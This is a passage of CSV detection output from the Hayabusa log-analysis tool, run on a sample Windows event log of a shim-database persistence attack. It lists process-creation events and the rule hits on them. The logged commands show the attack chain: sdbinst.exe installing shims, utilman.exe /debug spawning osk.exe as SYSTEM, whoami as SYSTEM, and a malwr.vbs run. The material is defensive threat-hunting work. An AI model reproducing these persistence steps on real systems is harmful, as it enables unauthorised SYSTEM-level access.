/debug",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_sysmon_11_13_1_shime_appfix.evtx +2019-03-20 05:49:45.162 +09:00,PC01.example.corp,1,informational,Process Creation,"Command: ""C:\Windows\system32\sdbinst.exe"" -q -u ""C:\Windows\AppPatch\Test.SDB "" : Path: C:\Windows\System32\sdbinst.exe : User: EXAMPLE\user01 : Parent Command: ""C:\Program Files\Microsoft Application Compatibility Toolkit\Compatibility Administrator (32-bit)\Compatadmin.exe"" ",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_sysmon_11_13_1_shime_appfix.evtx +2019-03-20 05:49:45.162 +09:00,PC01.example.corp,1,high,Possible Shim Database Persistence via sdbinst.exe,,rules/sigma/process_creation/win_sdbinst_shim_persistence.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_sysmon_11_13_1_shime_appfix.evtx +2019-03-20 05:49:47.245 +09:00,PC01.example.corp,1,informational,Process Creation,Command: utilman.exe /debug : Path: C:\Windows\System32\Utilman.exe : User: EXAMPLE\user01 : Parent Command: winlogon.exe,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_sysmon_11_13_1_shime_appfix.evtx +2019-03-20 05:51:05.017 +09:00,PC01.example.corp,1,informational,Process Creation,Command: UI0Detect.exe 224 : Path: C:\Windows\System32\UI0Detect.exe : User: EXAMPLE\user01 : Parent Command: C:\Windows\system32\UI0Detect.exe,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_sysmon_11_13_1_shime_appfix.evtx +2019-03-20 05:52:25.933 +09:00,PC01.example.corp,1,informational,Process Creation,"Command: ""C:\Windows\system32\sdbinst.exe"" -q ""C:\Windows\AppPatch\Test.SDB "" : Path: C:\Windows\System32\sdbinst.exe : User: EXAMPLE\user01 : Parent Command: ""C:\Program Files\Microsoft Application Compatibility Toolkit\Compatibility Administrator (32-bit)\Compatadmin.exe"" ",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_sysmon_11_13_1_shime_appfix.evtx +2019-03-20 05:52:25.933 +09:00,PC01.example.corp,1,high,Possible Shim Database Persistence via sdbinst.exe,,rules/sigma/process_creation/win_sdbinst_shim_persistence.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_sysmon_11_13_1_shime_appfix.evtx +2019-03-20 05:52:26.104 +09:00,PC01.example.corp,1,informational,Process Creation,"Command: ""C:\Windows\System32\osk.exe"" : Path: C:\Windows\System32\osk.exe : User: EXAMPLE\user01 : Parent Command: ""C:\Program Files\Microsoft Application Compatibility Toolkit\Compatibility Administrator (32-bit)\Compatadmin.exe"" ",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_sysmon_11_13_1_shime_appfix.evtx +2019-03-20 05:52:26.114 +09:00,PC01.example.corp,1,informational,Process Creation,Command: utilman.exe /debug : Path: C:\Windows\System32\Utilman.exe : User: EXAMPLE\user01 : Parent Command: winlogon.exe,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_sysmon_11_13_1_shime_appfix.evtx +2019-03-20 05:52:26.274 +09:00,PC01.example.corp,1,informational,Process Creation,"Command: ""C:\Windows\System32\osk.exe"" : Path: C:\Windows\System32\osk.exe : User: EXAMPLE\user01 : Parent Command: utilman.exe /debug",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_sysmon_11_13_1_shime_appfix.evtx +2019-03-20 05:52:26.364 +09:00,PC01.example.corp,1,informational,Process Creation,"Command: ""C:\Windows\system32\sdbinst.exe"" -q -u ""C:\Windows\AppPatch\Test.SDB "" : Path: C:\Windows\System32\sdbinst.exe : User: EXAMPLE\user01 : Parent Command: ""C:\Program Files\Microsoft Application Compatibility Toolkit\Compatibility Administrator (32-bit)\Compatadmin.exe"" ",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_sysmon_11_13_1_shime_appfix.evtx +2019-03-20 05:52:26.364 +09:00,PC01.example.corp,1,high,Possible Shim Database Persistence via sdbinst.exe,,rules/sigma/process_creation/win_sdbinst_shim_persistence.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_sysmon_11_13_1_shime_appfix.evtx +2019-03-20 05:52:29.138 +09:00,PC01.example.corp,1,informational,Process Creation,Command: utilman.exe /debug : Path: C:\Windows\System32\Utilman.exe : User: EXAMPLE\user01 : Parent Command: winlogon.exe,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_sysmon_11_13_1_shime_appfix.evtx +2019-03-20 05:52:47.124 +09:00,PC01.example.corp,1,informational,Process Creation,"Command: ""C:\Windows\system32\sdbinst.exe"" -q ""C:\Windows\AppPatch\Test.SDB "" : Path: C:\Windows\System32\sdbinst.exe : User: EXAMPLE\user01 : Parent Command: ""C:\Program Files\Microsoft Application Compatibility Toolkit\Compatibility Administrator (32-bit)\Compatadmin.exe"" ",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_sysmon_11_13_1_shime_appfix.evtx +2019-03-20 05:52:47.124 +09:00,PC01.example.corp,1,high,Possible Shim Database Persistence via sdbinst.exe,,rules/sigma/process_creation/win_sdbinst_shim_persistence.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_sysmon_11_13_1_shime_appfix.evtx +2019-03-20 05:52:47.294 +09:00,PC01.example.corp,1,informational,Process Creation,"Command: ""C:\Windows\System32\osk.exe"" : Path: C:\Windows\System32\osk.exe : User: EXAMPLE\user01 : Parent Command: ""C:\Program Files\Microsoft Application Compatibility Toolkit\Compatibility Administrator (32-bit)\Compatadmin.exe"" ",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_sysmon_11_13_1_shime_appfix.evtx +2019-03-20 05:52:47.334 +09:00,PC01.example.corp,1,informational,Process Creation,Command: utilman.exe /debug : Path: C:\Windows\System32\Utilman.exe : User: EXAMPLE\user01 : Parent Command: winlogon.exe,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_sysmon_11_13_1_shime_appfix.evtx +2019-03-20 05:52:47.474 +09:00,PC01.example.corp,1,informational,Process Creation,"Command: ""C:\Windows\System32\osk.exe"" : Path: C:\Windows\System32\osk.exe : User: EXAMPLE\user01 : Parent Command: utilman.exe /debug",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_sysmon_11_13_1_shime_appfix.evtx +2019-03-20 05:52:47.474 +09:00,PC01.example.corp,1,informational,Process Creation,"Command: ""C:\Windows\system32\sdbinst.exe"" -q -u ""C:\Windows\AppPatch\Test.SDB "" : Path: C:\Windows\System32\sdbinst.exe : User: EXAMPLE\user01 : Parent Command: ""C:\Program Files\Microsoft Application Compatibility Toolkit\Compatibility Administrator (32-bit)\Compatadmin.exe"" ",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_sysmon_11_13_1_shime_appfix.evtx +2019-03-20 05:52:47.474 +09:00,PC01.example.corp,1,high,Possible Shim Database Persistence via sdbinst.exe,,rules/sigma/process_creation/win_sdbinst_shim_persistence.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_sysmon_11_13_1_shime_appfix.evtx +2019-03-20 05:52:50.268 +09:00,PC01.example.corp,1,informational,Process Creation,Command: utilman.exe /debug : Path: C:\Windows\System32\Utilman.exe : User: EXAMPLE\user01 : Parent Command: winlogon.exe,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_sysmon_11_13_1_shime_appfix.evtx +2019-03-20 05:56:05.149 +09:00,PC01.example.corp,1,informational,Process Creation,Command: UI0Detect.exe 224 : Path: C:\Windows\System32\UI0Detect.exe : User: EXAMPLE\user01 : Parent Command: C:\Windows\system32\UI0Detect.exe,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_sysmon_11_13_1_shime_appfix.evtx +2019-03-20 05:58:20.994 +09:00,PC01.example.corp,1,informational,Process Creation,"Command: ""C:\Windows\system32\sdbinst.exe"" -q ""C:\Users\user01\Desktop\titi.sdb"" : Path: C:\Windows\System32\sdbinst.exe : User: EXAMPLE\user01 : Parent Command: ""C:\Program Files\Microsoft Application Compatibility Toolkit\Compatibility Administrator (32-bit)\Compatadmin.exe"" ",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_sysmon_11_13_1_shime_appfix.evtx +2019-03-20 05:58:20.994 +09:00,PC01.example.corp,1,high,Possible Shim Database Persistence via sdbinst.exe,,rules/sigma/process_creation/win_sdbinst_shim_persistence.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_sysmon_11_13_1_shime_appfix.evtx +2019-03-20 05:58:28.214 +09:00,PC01.example.corp,1,informational,Process Creation,Command: \SystemRoot\System32\smss.exe 00000000 0000003c : Path: C:\Windows\System32\smss.exe : User: NT AUTHORITY\SYSTEM : Parent Command: \SystemRoot\System32\smss.exe,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_sysmon_11_13_1_shime_appfix.evtx +2019-03-20 05:58:28.294 +09:00,PC01.example.corp,1,informational,Process Creation,"Command: %%SystemRoot%%\system32\csrss.exe ObjectDirectory=\Windows SharedSection=1024,12288,512 Windows=On SubSystemType=Windows ServerDll=basesrv,1 ServerDll=winsrv:UserServerDllInitialization,3 ServerDll=winsrv:ConServerDllInitialization,2 ServerDll=sxssrv,4 ProfileControl=Off MaxRequestThreads=16 : Path: C:\Windows\System32\csrss.exe : User: NT AUTHORITY\SYSTEM : Parent Command: \SystemRoot\System32\smss.exe 00000000 0000003c ",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_sysmon_11_13_1_shime_appfix.evtx +2019-03-20 05:58:28.304 +09:00,PC01.example.corp,1,informational,Process Creation,Command: winlogon.exe : Path: C:\Windows\System32\winlogon.exe : User: NT AUTHORITY\SYSTEM : Parent Command: \SystemRoot\System32\smss.exe 00000000 0000003c ,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_sysmon_11_13_1_shime_appfix.evtx +2019-03-20 05:58:28.815 +09:00,PC01.example.corp,1,informational,Process Creation,"Command: ""LogonUI.exe"" /flags:0x0 : Path: C:\Windows\System32\LogonUI.exe : User: NT AUTHORITY\SYSTEM : Parent Command: winlogon.exe",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_sysmon_11_13_1_shime_appfix.evtx +2019-03-20 05:58:31.860 +09:00,PC01.example.corp,1,informational,Process Creation,Command: utilman.exe /debug : Path: C:\Windows\System32\Utilman.exe : User: NT AUTHORITY\SYSTEM : Parent Command: winlogon.exe,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_sysmon_11_13_1_shime_appfix.evtx +2019-03-20 05:58:35.745 +09:00,PC01.example.corp,1,informational,Process Creation,"Command: ""c:\osk.exe"" : Path: C:\osk.exe : User: NT AUTHORITY\SYSTEM : Parent Command: utilman.exe /debug",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_sysmon_11_13_1_shime_appfix.evtx +2019-03-20 05:58:44.237 +09:00,PC01.example.corp,1,informational,Process Creation,"Command: whoami : Path: C:\Windows\System32\whoami.exe : User: NT AUTHORITY\SYSTEM : Parent Command: ""c:\osk.exe"" ",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_sysmon_11_13_1_shime_appfix.evtx +2019-03-20 05:58:44.237 +09:00,PC01.example.corp,1,high,Run Whoami as SYSTEM,,rules/sigma/process_creation/win_whoami_as_system.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_sysmon_11_13_1_shime_appfix.evtx +2019-03-20 05:58:44.237 +09:00,PC01.example.corp,1,medium,Whoami Execution,,rules/sigma/process_creation/win_susp_whoami.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_sysmon_11_13_1_shime_appfix.evtx +2019-03-20 05:58:44.237 +09:00,PC01.example.corp,1,low,Local Accounts Discovery,,rules/sigma/process_creation/win_local_system_owner_account_discovery.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_sysmon_11_13_1_shime_appfix.evtx +2019-03-20 05:58:44.237 +09:00,PC01.example.corp,1,high,Whoami Execution Anomaly,,rules/sigma/process_creation/win_susp_whoami_anomaly.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_sysmon_11_13_1_shime_appfix.evtx +2019-03-20 06:00:01.518 +09:00,PC01.example.corp,1,informational,Process Creation,Command: C:\Windows\System32\wsqmcons.exe : Path: C:\Windows\System32\wsqmcons.exe : User: NT AUTHORITY\SYSTEM : Parent Command: C:\Windows\system32\services.exe,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_sysmon_11_13_1_shime_appfix.evtx +2019-03-20 06:00:01.539 +09:00,PC01.example.corp,1,informational,Process Creation,"Command: C:\Windows\system32\schtasks.exe /delete /f /TN ""Microsoft\Windows\Customer Experience Improvement Program\Uploader"" : Path: C:\Windows\System32\schtasks.exe : User: NT AUTHORITY\SYSTEM : Parent Command: C:\Windows\System32\wsqmcons.exe ",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_sysmon_11_13_1_shime_appfix.evtx +2019-03-20 06:10:34.489 +09:00,PC01.example.corp,1,informational,Process Creation,Command: taskhost.exe $(Arg0) : Path: C:\Windows\System32\taskhost.exe : User: NT AUTHORITY\LOCAL SERVICE : Parent Command: C:\Windows\system32\services.exe,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_sysmon_11_13_1_shime_appfix.evtx +2019-03-20 06:18:54.257 +09:00,PC01.example.corp,1,informational,Process Creation,Command: atbroker.exe : Path: C:\Windows\System32\AtBroker.exe : User: EXAMPLE\user01 : Parent Command: winlogon.exe,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_sysmon_11_13_1_shime_appfix.evtx +2019-03-20 06:18:57.202 +09:00,PC01.example.corp,1,informational,Process Creation,"Command: ""C:\Windows\system32\mmc.exe"" ""C:\Windows\system32\eventvwr.msc"" : Path: C:\Windows\System32\mmc.exe : User: EXAMPLE\user01 : Parent Command: C:\Windows\Explorer.EXE",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_sysmon_11_13_1_shime_appfix.evtx +2019-03-20 06:21:05.306 +09:00,PC01.example.corp,1,informational,Process Creation,Command: UI0Detect.exe 224 : Path: C:\Windows\System32\UI0Detect.exe : User: EXAMPLE\user01 : Parent Command: C:\Windows\system32\UI0Detect.exe,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_sysmon_11_13_1_shime_appfix.evtx +2019-03-20 06:22:28.886 +09:00,PC01.example.corp,1,informational,Process Creation,"Command: ""C:\Windows\system32\rundll32.exe"" C:\Windows\system32\shell32.dll,OpenAs_RunDLL C:\Windows\AppPatch\Custom\{3ad6ed23-adf8-4bc1-a898-4d695f482c64}.sdb : Path: C:\Windows\System32\rundll32.exe : User: EXAMPLE\user01 : Parent Command: C:\Windows\Explorer.EXE",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_sysmon_11_13_1_shime_appfix.evtx +2019-03-20 06:22:33.593 +09:00,PC01.example.corp,1,informational,Process Creation,"Command: ""C:\Program Files\Windows NT\Accessories\WORDPAD.EXE"" ""C:\Windows\AppPatch\Custom\{3ad6ed23-adf8-4bc1-a898-4d695f482c64}.sdb"" : Path: C:\Program Files\Windows NT\Accessories\wordpad.exe : User: EXAMPLE\user01 : Parent Command: ""C:\Windows\system32\rundll32.exe"" C:\Windows\system32\shell32.dll,OpenAs_RunDLL C:\Windows\AppPatch\Custom\{3ad6ed23-adf8-4bc1-a898-4d695f482c64}.sdb",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_sysmon_11_13_1_shime_appfix.evtx +2019-03-20 06:26:05.397 +09:00,PC01.example.corp,1,informational,Process Creation,Command: UI0Detect.exe 224 : Path: C:\Windows\System32\UI0Detect.exe : User: EXAMPLE\user01 : Parent Command: C:\Windows\system32\UI0Detect.exe,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_sysmon_11_13_1_shime_appfix.evtx +2019-03-20 06:26:08.852 +09:00,PC01.example.corp,1,informational,Process Creation,Command: C:\Windows\System32\slui.exe -Embedding : Path: C:\Windows\System32\slui.exe : User: EXAMPLE\user01 : Parent Command: C:\Windows\system32\svchost.exe -k DcomLaunch,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_sysmon_11_13_1_shime_appfix.evtx +2019-03-20 06:31:05.509 +09:00,PC01.example.corp,1,informational,Process Creation,Command: UI0Detect.exe 224 : Path: C:\Windows\System32\UI0Detect.exe : User: EXAMPLE\user01 : Parent Command: C:\Windows\system32\UI0Detect.exe,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_sysmon_11_13_1_shime_appfix.evtx +2019-03-20 06:36:05.610 +09:00,PC01.example.corp,1,informational,Process Creation,Command: UI0Detect.exe 224 : Path: C:\Windows\System32\UI0Detect.exe : User: EXAMPLE\user01 : Parent Command: C:\Windows\system32\UI0Detect.exe,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_sysmon_11_13_1_shime_appfix.evtx +2019-03-20 06:41:05.702 +09:00,PC01.example.corp,1,informational,Process Creation,Command: UI0Detect.exe 224 : Path: C:\Windows\System32\UI0Detect.exe : User: EXAMPLE\user01 : Parent Command: C:\Windows\system32\UI0Detect.exe,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_sysmon_11_13_1_shime_appfix.evtx +2019-03-20 06:41:11.440 +09:00,PC01.example.corp,1,informational,Process Creation,"Command: ""LogonUI.exe"" /flags:0x0 : Path: C:\Windows\System32\LogonUI.exe : User: NT AUTHORITY\SYSTEM : Parent Command: winlogon.exe",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_sysmon_11_13_1_shime_appfix.evtx +2019-03-20 06:41:17.339 +09:00,PC01.example.corp,1,informational,Process Creation,Command: C:\Windows\system32\cmd.EXE /c malwr.vbs : Path: C:\Windows\System32\cmd.exe : User: EXAMPLE\user01 : Parent Command: C:\Windows\system32\services.exe,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_sysmon_11_13_1_shime_appfix.evtx +2019-03-20 06:41:17.339 +09:00,PC01.example.corp,1,informational,Process Creation,Command: gpscript.exe /Logoff : Path: C:\Windows\System32\gpscript.exe : User: EXAMPLE\user01 : Parent Command: C:\Windows\system32\svchost.exe -k GPSvcGroup,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_sysmon_11_13_1_shime_appfix.evtx +2019-03-20 06:41:18.290 +09:00,PC01.example.corp,1,informational,Process Creation,"Command: ""LogonUI.exe"" /flags:0x1 : Path: C:\Windows\System32\LogonUI.exe : User: NT AUTHORITY\SYSTEM : Parent Command: wininit.exe",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_sysmon_11_13_1_shime_appfix.evtx +2019-03-20 06:41:18.410 +09:00,PC01.example.corp,1,informational,Process Creation,Command: C:\Windows\servicing\TrustedInstaller.exe : Path: C:\Windows\servicing\TrustedInstaller.exe : User: NT AUTHORITY\SYSTEM : Parent Command: C:\Windows\system32\services.exe,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_sysmon_11_13_1_shime_appfix.evtx +2019-03-20 08:18:49.576 +09:00,PC01.example.corp,1,informational,Process Creation,Command: \SystemRoot\System32\smss.exe 00000000 0000003c : Path: C:\Windows\System32\smss.exe : User: NT AUTHORITY\SYSTEM : Parent Command: \SystemRoot\System32\smss.exe,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_sysmon_11_13_1_shime_appfix.evtx +2019-03-20 08:18:49.856 +09:00,PC01.example.corp,1,informational,Process Creation,"Command: %%SystemRoot%%\system32\csrss.exe ObjectDirectory=\Windows SharedSection=1024,12288,512 Windows=On SubSystemType=Windows ServerDll=basesrv,1 ServerDll=winsrv:UserServerDllInitialization,3 ServerDll=winsrv:ConServerDllInitialization,2 ServerDll=sxssrv,4 ProfileControl=Off MaxRequestThreads=16 : Path: C:\Windows\System32\csrss.exe : User: NT AUTHORITY\SYSTEM : Parent Command: \SystemRoot\System32\smss.exe 00000000 0000003c ",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_sysmon_11_13_1_shime_appfix.evtx +2019-03-20 08:18:50.157 +09:00,PC01.example.corp,1,informational,Process Creation,Command: \SystemRoot\System32\smss.exe 00000001 0000003c : Path: C:\Windows\System32\smss.exe : User: NT AUTHORITY\SYSTEM : Parent Command: \SystemRoot\System32\smss.exe,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_sysmon_11_13_1_shime_appfix.evtx +2019-03-20 08:18:50.217 +09:00,PC01.example.corp,1,informational,Process Creation,Command: wininit.exe : Path: C:\Windows\System32\wininit.exe : User: NT AUTHORITY\SYSTEM : Parent Command: \SystemRoot\System32\smss.exe 00000000 0000003c ,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_sysmon_11_13_1_shime_appfix.evtx +2019-03-20 08:18:50.217 +09:00,PC01.example.corp,1,informational,Process Creation,"Command: %%SystemRoot%%\system32\csrss.exe ObjectDirectory=\Windows SharedSection=1024,12288,512 Windows=On SubSystemType=Windows ServerDll=basesrv,1 ServerDll=winsrv:UserServerDllInitialization,3 ServerDll=winsrv:ConServerDllInitialization,2 ServerDll=sxssrv,4 ProfileControl=Off MaxRequestThreads=16 : Path: C:\Windows\System32\csrss.exe : User: NT AUTHORITY\SYSTEM : Parent Command: \SystemRoot\System32\smss.exe 00000001 0000003c ",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_sysmon_11_13_1_shime_appfix.evtx +2019-03-20 08:18:50.387 +09:00,PC01.example.corp,1,informational,Process Creation,Command: winlogon.exe : Path: C:\Windows\System32\winlogon.exe : User: NT AUTHORITY\SYSTEM : Parent Command: \SystemRoot\System32\smss.exe 00000001 0000003c ,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_sysmon_11_13_1_shime_appfix.evtx +2019-03-20 08:18:50.427 +09:00,PC01.example.corp,1,informational,Process Creation,Command: C:\Windows\system32\services.exe : Path: C:\Windows\System32\services.exe : User: NT AUTHORITY\SYSTEM : Parent Command: wininit.exe,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_sysmon_11_13_1_shime_appfix.evtx +2019-03-20 08:18:50.467 +09:00,PC01.example.corp,1,informational,Process Creation,Command: C:\Windows\system32\lsass.exe : Path: C:\Windows\System32\lsass.exe : User: NT AUTHORITY\SYSTEM : Parent Command: wininit.exe,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_sysmon_11_13_1_shime_appfix.evtx +2019-03-20 08:18:50.497 +09:00,PC01.example.corp,1,informational,Process Creation,Command: C:\Windows\system32\lsm.exe : Path: C:\Windows\System32\lsm.exe : User: NT AUTHORITY\SYSTEM : Parent Command: wininit.exe,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_sysmon_11_13_1_shime_appfix.evtx +2019-03-20 08:18:51.308 +09:00,PC01.example.corp,1,informational,Process Creation,Command: C:\Windows\system32\svchost.exe -k DcomLaunch : Path: C:\Windows\System32\svchost.exe : User: NT AUTHORITY\SYSTEM : Parent Command: C:\Windows\system32\services.exe,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_sysmon_11_13_1_shime_appfix.evtx +2019-03-20 08:18:51.599 +09:00,PC01.example.corp,1,informational,Process Creation,Command: C:\Windows\System32\VBoxService.exe : Path: C:\Windows\System32\VBoxService.exe : User: NT AUTHORITY\SYSTEM : Parent Command: C:\Windows\system32\services.exe,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_sysmon_11_13_1_shime_appfix.evtx +2019-03-20 08:18:51.679 +09:00,PC01.example.corp,1,informational,Process Creation,"Command: ""LogonUI.exe"" /flags:0x0 : Path: C:\Windows\System32\LogonUI.exe : User: NT AUTHORITY\SYSTEM : Parent Command: winlogon.exe",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_sysmon_11_13_1_shime_appfix.evtx +2019-03-20 08:18:51.789 +09:00,PC01.example.corp,1,informational,Process Creation,Command: C:\Windows\system32\svchost.exe -k LocalService : Path: C:\Windows\System32\svchost.exe : User: NT AUTHORITY\LOCAL SERVICE : Parent Command: C:\Windows\system32\services.exe,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_sysmon_11_13_1_shime_appfix.evtx +2019-03-20 08:18:53.111 +09:00,PC01.example.corp,1,informational,Process Creation,Command: C:\Windows\system32\svchost.exe -k GPSvcGroup : Path: C:\Windows\System32\svchost.exe : User: NT AUTHORITY\SYSTEM : Parent Command: C:\Windows\system32\services.exe,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_sysmon_11_13_1_shime_appfix.evtx +2019-03-20 08:18:53.571 +09:00,PC01.example.corp,1,informational,Process Creation,Command: C:\Windows\System32\spoolsv.exe : Path: C:\Windows\System32\spoolsv.exe : User: NT AUTHORITY\SYSTEM : Parent Command: C:\Windows\system32\services.exe,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_sysmon_11_13_1_shime_appfix.evtx +2019-03-20 08:18:53.922 +09:00,PC01.example.corp,1,informational,Process Creation,Command: calc.exe : Path: C:\Windows\System32\calc.exe : User: NT AUTHORITY\SYSTEM : Parent Command: 